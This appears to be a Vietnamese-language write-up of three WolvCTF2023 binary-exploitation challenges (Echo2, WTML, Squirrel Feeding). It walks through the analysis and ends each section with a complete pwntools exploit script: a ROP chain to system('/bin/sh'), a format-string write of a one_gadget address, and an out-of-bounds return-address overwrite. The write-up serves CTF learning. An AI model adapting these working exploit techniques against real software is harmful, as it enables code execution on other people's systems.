# (writeup) WolvCTF2023 ## Echo2 - check file + checksec ![](https://i.imgur.com/2ZYwfqe.png) - check ida ![](https://i.imgur.com/ygCCPZA.png) - kiểm tra thông tin về hàm ``fread`` ![](https://i.imgur.com/vH4PwFM.png) - sẽ đọc vào biến **ptr**, mỗi 1 byte, tổng lượng byte là v2[0], với parament là ``stdin`` - ta sẽ leak exe ra ở ngay ``fread``, dữ liệu xuất ra ở ``return printf `` - offset tới rip là ![](https://i.imgur.com/zq5UeDD.png) > 279 bởi vì có byte \n từ scanf ở trước - ban đầu để ntn thì k có dữ liệu nào ra ```python payload = b'280' #bao gồm byte \n của scanf p.sendlineafter(b'Echo2\n',payload) payload = b'A'*280 #ghi đè dư 1 byte exe để leak p.send(payload) p.recvuntil(b'A'*279) exe_leak = u64(p.recv(6) + b'\0\0') ``` - kiểm tra bên ngoài thì thấy ![](https://i.imgur.com/IXFwmPc.png) - nhập 4 nhưng chỉ in 3 kí tự đầu - tức là tăng lên +1 ở lần nhập đầu tiên thì mới có nhiều dữ liệu ra thêm ```python payload = b'281' #bao gồm byte \n của scanf p.sendlineafter(b'Echo2\n',payload) payload = b'A'*280 #ghi đè dư 1 byte exe để leak p.send(payload) p.recvuntil(b'A'*279) exe_leak = u64(p.recv(6) + b'\0\0') ``` - ta leak dc exe đấy nhưng mà... ![](https://i.imgur.com/8PbQBl9.png) - rip nó lại đang trỏ tới ``<echo+120> (bad)`` - khi ta ghi đè 280 byte A thì ret lại vào địa chỉ (bad) tệ hại đó khiến ta k thực thi lại main dc - thứ ta cần là chạy tiếp là leak them libc - vậy payload ta sẽ đổi lại là 279 byte A và 1 byte đâu đó trong main ![](https://i.imgur.com/jixylVF.png) - thì lúc này ta thử ở byte cuối là ``4c``, offset là 0x124c (coi ``vm`` thì thấy chênh nhau 2 bye cuối) - vậy ta đã thực thi lại hàm main thành công, bước tiếp theo ta leak libc thôi ![](https://i.imgur.com/i86BOO4.png) - đề là có libc.so.6 - vậy ta sẽ load thêm libc vào script - ngoài ra ta sẽ leak thêm ret của echo để thuận tiện leak libc ![](https://i.imgur.com/RMPzedF.png) > 0x1246 - tương tự ta padding 279 byte A - rồi tới ret echo - rồi thực thi PLT của puts để leak libc ![](https://i.imgur.com/8PbQBl9.png) - như ta thấy sau rbp ta sẽ pad ret echo, rồi PLT puts là ngay sau libc - leak xong ta 1 lần nữa ret echo - để rồi thực thi lại hàm echo - vì lần scanf phải gửi dư 1 byte mới leak dc nên ta sài ``str(len(payload)+1)`` cho thuận tiện, khỏi đếm bnhiu byte cần leak - NHƯNG, leak dữ liệu là sau 279 byte A và mớ cái byte đằng sau lệnh PLT, trước byte 'Welcome to Echo2\n' - thì theo kinh nghiệm là ta sẽ leak kiểu này ```python p.recvuntil(b'A'*279) libc_leak = u64(p.recvuntil(b'Welcome'), drop=True)[-6:] + b'\0\0') ``` - là nhận đến chuỗi 'Welcome' thì bỏ đi nó, nhập trước nó 6 byte - thì libc leak ra lại bị thừa con 0xa đầu, nghi nghi là byte '\n' nên đổi lại thành [-7:-1] mới được - bài này ta k dùng tool one_gadget được - ta sẽ đổi qua libc.sym['system'] - vì tìm thanh ghi 'pop rdi' từ file exe không có nên mới sử dụng libc để tìm offset (do libc chắc chắn đầy đủ thanh ghi cho mình) ![](https://i.imgur.com/HjtuCV8.png) - hmmm, do_system mà cũng bị xmm1 ư =))))) 🙇‍♂️ - thiện style thiện style 🙏 - vậy là mỗi rdi trỏ tới chuỗi /bin/sh thôi thì k đủ, ta dạo quanh hồ gươm thì thêm rdx = NULL thì lại dc =))))) - đã thử thêm ret, add rsp 8, đều k dc, chỉ có pop rdx là dc ![](https://i.imgur.com/AWHvfPe.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./challenge',checksec=False) libc = ELF('./libc.so.6',checksec=False) p = process(exe.path) # gdb.attach(p, gdbscript=''' # b*echo+52 # b*echo+88 # b*main+129 # c # ''') # input() payload = b'281' p.sendlineafter(b'Echo2\n',payload) #input() payload = b'A'*279 + b'\x4c' p.send(payload) p.recvuntil(b'A'*279) exe_leak = u64(p.recv(6) + b'\0\0') exe.address = exe_leak - 0x124c log.info("exe leak: " + hex(exe_leak)) log.info("Exe base: " + hex(exe.address)) ret_echo = exe.address + 0x1246 payload = b'A'*279 payload += p64(ret_echo) payload += p64(exe.plt['puts']) payload += p64(ret_echo) payload += p64(exe.sym['echo']) p.sendlineafter(b'Echo2\n', str(len(payload) + 1)) p.send(payload) p.recvuntil(b'A'*279) libc_leak = u64(p.recvuntil(b'Welcome', drop=True)[-7:-1] + b'\0\0') libc.address = libc_leak - 0x620d0 info("Libc leak: " + hex(libc_leak)) info("Libc base: " + hex(libc.address)) pop_rdi = libc.address + 0x000000000002a3e5 pop_rdx_r12 = libc.address + 0x000000000011f497 payload = b'A'*279 payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh'))) payload += p64(pop_rdx_r12) + p64(0) + p64(0) payload += p64(libc.sym['system']) p.sendlineafter(b'Echo2\n', str(len(payload) + 1)) p.send(payload) p.interactive() ``` ___ ## WTML - check file + checksec ![](https://i.imgur.com/bfvqrmk.png) - check ida ![](https://i.imgur.com/dpgBIdp.png) - func ``prompt_tag`` ![](https://i.imgur.com/zzt7J7X.png) ``` ở trong func này, nếu char nhận đc chứa byte '\n', '<' hay '>' sẽ exit() ``` - fuc ``replace_tag_v1`` ![](https://i.imgur.com/SX51akD.png) ![](https://i.imgur.com/Q1kdQZc.png) - kiểm tra format chuỗi nhập vào ``` thấy format giống kiểu WEB =)) nào là <x>heading</x phải thêm ký tự đằng sau '<' vì hàm if lồng nhau ``` - func ``replace_tag_v2`` ![](https://i.imgur.com/XIP5t2m.png) - có ``printf``, ngon, fmtstr thui - đầu tiên, gdb và ``vm`` thì thấy file này có libc.so.6, nhưng đề lại cho libc-2.31.so, tiện tay nên pwninit luôn - dừng lại trước hàm ``fread``: ![](https://i.imgur.com/YJUbEL5.png) - ở đây ta thấy bắt đầu nhập từ $rdi tới 32 byte (0x20 hexabyte) thì full 4 dòng stack này, byte kế là 0x00 > offset = 32 (0x20 theo ida) (bao gồm 5 byte bắt buộc là '<', 'x' , '>', '<', '/' ) - payload ta sẽ nhập theo format ```python payload = b'<x>' + b'A'*27 + b'</' ``` - nhìn lại hàm ``replace_tag_v1`` ![](https://i.imgur.com/SX51akD.png) - phần **if** bên dưới, nó còn xét byte cuối cùng sau '</' là biến **a2** lượng byte là 1, đối chiếu lên **if** bên trên sau byte '<' và trước byte '>' cũng là biến **a2**, thì chắc muốn vượt qua hàm này cái format ``<x>padding27byte</x``, ``x`` là ``\x00`` hoặc ``\0`` - ``x`` này có thể gọi là 1 cái tag (theo chương trình định nghĩa như thế) - ngoài ra, khi ta ``tel`` thêm, thấy 1 địa chỉ k nằm trong phân vùng nào nhưng lại trỏ đến exe_base ![](https://i.imgur.com/gdTBUYD.png) - khai thác ``.fini_aray`` nhuỷ 🥲 - nhưng k có ``get_shell`` nên ta chắc phải leak libc rồi tool one_gadget cho lẹ - payload cho thử ```python payload = b'<\0>' + b'A'*27 +b'</' ``` - rồi dừng ở ``replace_tag_v2``, ngay ``printf`` thứ 2, nơi leak dữ liệu ra - mà ta phải gửi cái thay tag 2 lần, ![](https://i.imgur.com/nredQIe.png) - một lần thì báo ntn ![](https://i.imgur.com/FmdGyur.png) - ở %53 có 1 địa chỉ libc ![](https://i.imgur.com/k7l91uS.png) - ta tiện leak thêm stack (ở %40), stack trỏ đến $rip có offset 0x58 - ta k thể dừng ở ``fread`` đầu tiên để tính % đc, bởi sau 7749 bước dữ liệu thay đổi thì ssack sẽ thay đổi đến khi hàm ``printf`` ở ``replace_tag_v2`` được gọi - ta sẽ ghi đè $rip thành one_gadget - tính base của libc ta có 0x24083 - rồi ta "đóng gói hành lí" cái one_gadget ở ![](https://i.imgur.com/Vlk4a4X.png) - tầm %16 đi, rồi padding đến %16 ( bỏ 8 byte ghi đè, tới %16 là 0x40 byte) ![](https://i.imgur.com/vqoU3t7.png) - script: ```pthon #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./challenge_patched',checksec=False) libc = ELF('./libc-2.31.so',checksec=False) p = process(exe.path) # gdb.attach(p, gdbscript=''' # b*replace_tag_v2+72 # c # ''') # input() payload = b'<\0>' + b'%40$p%53$p'.ljust(27, b'A') + b'</' #offset .fini_array = 0x3288 p.sendafter(b'WTML!\n', payload) #input() p.sendlineafter(b'[q to quit]?\n', b'\0') p.sendlineafter(b'tag?\n',b'\1') p.sendlineafter(b'[q to quit]?\n', b'\0') p.sendlineafter(b'tag?\n',b'\1') p.recvuntil(b'<\1>') leaking = p.recvuntil(b'A', drop=True).split(b'0x') stack_leak = int(leaking[1], 16) stack_ptr = stack_leak - 0x58 libc_leak = int(leaking[2], 16) libc.address = libc_leak - 0x24083 log.info("stack leak: " + hex(stack_leak)) log.info("libc leak: " + hex(libc_leak)) log.info("libc base: " + hex(libc.address)) one_gadget = libc.address + 0xe3b01 package = { (one_gadget >> 0) & 0xffff: stack_ptr + 0, (one_gadget >> 16) & 0xffff: stack_ptr + 2, (one_gadget >> 32) & 0xffff: stack_ptr + 4, } order = sorted(package) payload = f'%{order[0]}c%16$hn'.encode() payload += f'%{order[1] - order[0]}c%17$hn'.encode() payload += f'%{order[2] - order[1]}c%18$hn'.encode() payload = payload.ljust(0x40, b'A') payload += flat( package[order[0]], package[order[1]], package[order[2]], ) p.sendlineafter(b'about v2: ', payload) p.interactive() ``` - ủa z là đâu có ``.fini_aray`` dữ đâu, chỉ là phương pháp ghi đè giống cách khai thác ``.fini_aray`` =)))))) ___ ## Squirrel Feeding - check file + checksec ![](https://i.imgur.com/cRwHBN1.png) - check ida ![](https://i.imgur.com/DZJwnmj.png) - full source code: ```c #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdbool.h> #define FEED_OPTION 1 #define VIEW_OPTION 2 #define QUIT_OPTION 3 #define MAX_NAME_LEN 16 #define BIN_COUNT 10 #define BIN_SIZE 4 #define FLAG_SQUIRREL_NAME "santa" // Structs typedef struct map_entry { char name[MAX_NAME_LEN]; size_t weight; } map_entry; typedef struct map_data { size_t bin_sizes[BIN_COUNT]; map_entry bins[BIN_COUNT][BIN_SIZE]; } map_data; typedef struct map { map_data *data; map_data local; } map; // Globals map flag_map = {0}; // Functions size_t hash_string(char *string) { size_t hash = 0; size_t len = strlen(string); if (len > MAX_NAME_LEN) return 0; for (size_t i = 0; i < len; i++) { hash += string[i] * 31; } return hash; } void get_max_weight(map *m, char *key) { // TODO: implement // I figured I would just leave the stub in! } void increment(map *m, char *key, size_t amount) { size_t hash = hash_string(key); if (hash == 0) return; size_t index = hash % BIN_COUNT; for (size_t i = 0; i <= BIN_COUNT; i++) { map_entry *entry = &m->data->bins[index][i]; // Increment existing if (strncmp(entry->name, key, MAX_NAME_LEN) == 0) { entry->weight += amount; printf("Squirrel %s has weight %zu lbs\n", entry->name, entry->weight); return; } // Create new if (i == m->data->bin_sizes[index]) { strncpy(entry->name, key, MAX_NAME_LEN); entry->weight += amount; if (key != FLAG_SQUIRREL_NAME) printf("New squirrel %s has weight %zu lbs\n", entry->name, entry->weight); m->data->bin_sizes[index]++; // TODO: enforce that new weight does not exceed the "presidential chonk!" get_max_weight(&flag_map, FLAG_SQUIRREL_NAME); return; } } } void print(map *map, char *key) { size_t hash = hash_string(key); if (hash == 0) return; size_t index = hash % BIN_COUNT; for (size_t i = 0; i < map->data->bin_sizes[index]; i++) { map_entry *entry = &map->data->bins[index][i]; if (strncmp(entry->name, key, MAX_NAME_LEN) != 0) continue; printf("Squirrel %s has weight %zu lbs\n", entry->name, entry->weight); return; } } void init_flag_map() { FILE *flag_file = fopen("flag.txt", "r"); if (flag_file == NULL) { puts("File not found!"); exit(EXIT_FAILURE); } char flag_text[0x100]; fgets(flag_text, sizeof(flag_text), flag_file); long flag_weight = strtol(flag_text, NULL, 10); flag_map.data = &flag_map.local; increment(&flag_map, FLAG_SQUIRREL_NAME, flag_weight); fclose(flag_file); } size_t i = 0; long option = 0; char *end_ptr = NULL; char option_input[0x8] = {0}; char name_input[MAX_NAME_LEN] = {0}; void loop() { map m = {0}; m.data = &m.local; while (i < 5) { puts("=============================="); puts("What would you like to do?"); puts("1. Feed your favorite squirrel"); puts("2. View squirrel weight"); puts("3. Quit"); fputs("> ", stdout); fgets(option_input, sizeof(option_input), stdin); option = strtol(option_input, &end_ptr, 10); if (errno) { puts("Invalid option!"); continue; } if (option == FEED_OPTION) { ++i; fputs("Enter their name: ", stdout); fgets(name_input, sizeof(name_input), stdin); fputs("Enter the amount to feed them: ", stdout); fgets(option_input, sizeof(option_input), stdin); option = strtol(option_input, &end_ptr, 10); if (errno) { puts("Invalid option!"); continue; } increment(&m, name_input, option); } else if (option == VIEW_OPTION) { fputs("Enter their name: ", stdout); fgets(name_input, sizeof(name_input), stdin); print(&m, name_input); } else if (option == QUIT_OPTION) { break; } else { puts("Invalid option!"); } } } int main() { setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0); puts("Welcome to the Michigan squirrel feeding simulator!"); init_flag_map(); loop(); } ``` - ta thấy trong func ``init_flag_map`` có gọi hàm **strtol()** ![](https://i.imgur.com/0028WSa.png) - vậy ta sẽ tạo file flag.txt chỉ có chứa số bên trong ``13371337`` - trong func ``loop`` sẽ lặp lại 5 lần ![](https://i.imgur.com/lwjlvkP.png) - func ``print`` sẽ in flag ra cho mình ![](https://i.imgur.com/INk4aKh.png) - khi vào hàm ``increment``, sẽ khởi động func ``hash_string`` ![](https://i.imgur.com/Bc3IHGK.png) - lấy từng kí tự trong chuỗi mình nhập vào, nhân 31 r tính tổng - ngoài ra thêm 1 hàm **strncmp()** ![](https://i.imgur.com/jfBQ1x1.png) ![](https://i.imgur.com/u82pkWl.png) - so sánh *entry->name* với *key* - ta sẽ đặt break point trc khi gọi ``hash_string`` ![](https://i.imgur.com/B9mjnMp.png) - ngay hàm **strncmp()** ![](https://i.imgur.com/Fcs11gv.png) - và ``ret_increment`` ![](https://i.imgur.com/XwXTAae.png) - ở thiết lập map_data, dc cấp BIN_SIZE là 4, nhưng dữ liệu ta dc nhập tới 5 lần do hàm **while**, vậy ở lần cuối ta sẽ truy cập ngoài mảng và ``ret`` tại 1 địa chỉ của func ``print`` để in flag của mình - việc ta muốn OW thì phải nhập từ thứ tự 9, vì BIN_COUNT dc set là 10 ![](https://i.imgur.com/XavOJfC.png) - tức là index ở đây phải là con số 9 - index = hash % 10 - thì idea sẽ là con số 9 hoặc con số 1 - nhưng vì chọn số 9 không khả thi, chọn số 1 lại được - vì trong modul đồng dư, thay vì dư 1 thì ta cũng có thể nói lách là dư -9 khi lấy modul cho 10 (vả lại thường mấy bài OOB là sẽ truy cập biến âm ) - và sau lần gửi ở 'name: ', ta có thể thêm bao nhiu chữ tuỳ ý có số DEC là chẵn chia hết cho 10, nhưng k dc quá 15 chữ vì ... ```c #define MAX_NAME_LEN 16 ``` - ta chọn chữ 'P' đi, vì ``chr(80)='P'`` - và gửi theo trình tự để dễ DEBUG - sau khi gửi 4 lần dữ liệu, ta break ngay tại ``ret_increment`` và kiểm tra stack ![](https://i.imgur.com/tojRJ37.png) - lúc này $rip dg trỏ tới <main+130> - lần nhập thứ 5 sẽ OW $rip và ta sẽ hướng nó đên func sẽ in flag ta ra, tức là hàm ``print`` - nhưng dữ liệu vào là dạng số, ta k thể exe.sym đc - và cũng như hướng khai thác là out-of-bound nên ta sẽ tìm offset đến ``print`` - kiểm tra phân vùng của ``print`` thì thấy nằm trong r_x của exe, và ![](https://i.imgur.com/47fdL5f.png) >p/x 0x0055df4950b9c0 - 0x55df4950b50e = 0x4b2 >offset = -0x4b2 - ta run thử script thì thấy k ra, DEBUG thì thấy lỗi xmm0 ![](https://i.imgur.com/1OY8BAb.png) - nên ta nhảy sau push là +5 lên ![](https://i.imgur.com/c3UniyO.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./challenge',checksec=False) p = process(exe.path) # gdb.attach(p, gdbscript=''' # b*increment+31 # b*increment+192 # b*increment+446 # c # ''') # input() # 4 lan nhap dau for i in range(4): p.sendlineafter(b'> ',b'1') p.recvuntil(b'name: ') p.sendline(b'1'+i*b'P') p.sendlineafter(b'them: ',b'1') # lan nhap thu 5 p.sendlineafter(b'> ',b'1') p.recvuntil(b"name: ") p.sendline(b"1PPPP") print_func = -0x4b2 p.sendlineafter(b'them: ',str(print_func+5)) p.interactive() ```